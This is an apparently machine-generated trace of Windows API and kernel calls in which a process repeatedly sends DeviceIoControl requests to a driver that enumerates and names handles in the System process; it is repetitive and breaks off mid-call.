[0110.611] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.611] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.611] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0110.611] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.611] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.611] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.611] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.611] PsAcquireProcessExitSynchronization () returned 0x0 [0110.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.612] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0110.612] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.612] PsReleaseProcessExitSynchronization () returned 0x2 [0110.612] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.612] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.612] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0110.612] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.612] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.612] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0110.612] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.612] PsAcquireProcessExitSynchronization () returned 0x0 [0110.612] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.612] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0110.612] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.612] PsReleaseProcessExitSynchronization () returned 0x2 [0110.612] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.612] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.612] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0110.612] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.612] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.612] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.612] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.612] PsAcquireProcessExitSynchronization () returned 0x0 [0110.612] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.612] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0110.612] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.612] PsReleaseProcessExitSynchronization () returned 0x2 [0110.612] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.612] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.612] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0110.612] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.612] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.613] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0110.613] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.613] PsAcquireProcessExitSynchronization () returned 0x0 [0110.613] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.613] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0110.613] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.613] PsReleaseProcessExitSynchronization () returned 0x2 [0110.613] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.613] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.613] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0110.613] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.613] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.613] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.613] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.613] PsAcquireProcessExitSynchronization () returned 0x0 [0110.613] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.613] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0110.613] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.613] PsReleaseProcessExitSynchronization () returned 0x2 [0110.613] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.613] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.613] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0110.614] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.614] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.614] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.614] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.614] PsAcquireProcessExitSynchronization () returned 0x0 [0110.614] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.614] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0110.614] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.614] PsReleaseProcessExitSynchronization () returned 0x2 [0110.614] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.614] ObQueryNameString (in: Object=0xfffffa8002964050, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.614] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0110.614] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.614] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.614] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.614] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.614] PsAcquireProcessExitSynchronization () returned 0x0 [0110.614] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.614] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0110.614] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.614] PsReleaseProcessExitSynchronization () returned 0x2 [0110.614] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.614] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.614] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0110.614] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.614] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.614] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.615] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.615] PsAcquireProcessExitSynchronization () returned 0x0 [0110.615] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.615] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0110.615] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.615] PsReleaseProcessExitSynchronization () returned 0x2 [0110.615] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.615] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.615] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0110.615] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.615] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.615] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0110.615] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.615] PsAcquireProcessExitSynchronization () returned 0x0 [0110.615] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.615] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0110.615] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.615] PsReleaseProcessExitSynchronization () returned 0x2 [0110.615] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.615] ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0110.615] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0110.615] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.615] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.615] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0110.615] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.615] PsAcquireProcessExitSynchronization () returned 0x0 [0110.615] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.615] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0110.615] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.616] PsReleaseProcessExitSynchronization () returned 0x2 [0110.616] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.616] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.616] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0110.616] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.616] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.616] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0110.616] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.616] PsAcquireProcessExitSynchronization () returned 0x0 [0110.616] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.616] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0110.616] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.616] PsReleaseProcessExitSynchronization () returned 0x2 [0110.616] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.616] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.616] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0110.616] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.616] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.616] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0110.616] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.616] PsAcquireProcessExitSynchronization () returned 0x0 [0110.616] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.616] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0110.616] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.616] PsReleaseProcessExitSynchronization () returned 0x2 [0110.616] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.616] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.617] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0110.617] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.617] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.617] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.617] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.617] PsAcquireProcessExitSynchronization () returned 0x0 [0110.617] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.617] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0110.617] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.617] PsReleaseProcessExitSynchronization () returned 0x2 [0110.617] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.617] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.617] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0110.617] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.617] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.617] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.617] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.617] PsAcquireProcessExitSynchronization () returned 0x0 [0110.617] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.617] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0110.617] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.617] PsReleaseProcessExitSynchronization () returned 0x2 [0110.617] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.617] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.617] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0110.617] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.617] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.618] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.618] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.618] PsAcquireProcessExitSynchronization () returned 0x0 [0110.618] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.618] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0110.618] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.618] PsReleaseProcessExitSynchronization () returned 0x2 [0110.618] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.618] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.618] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0110.618] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.618] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.618] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, 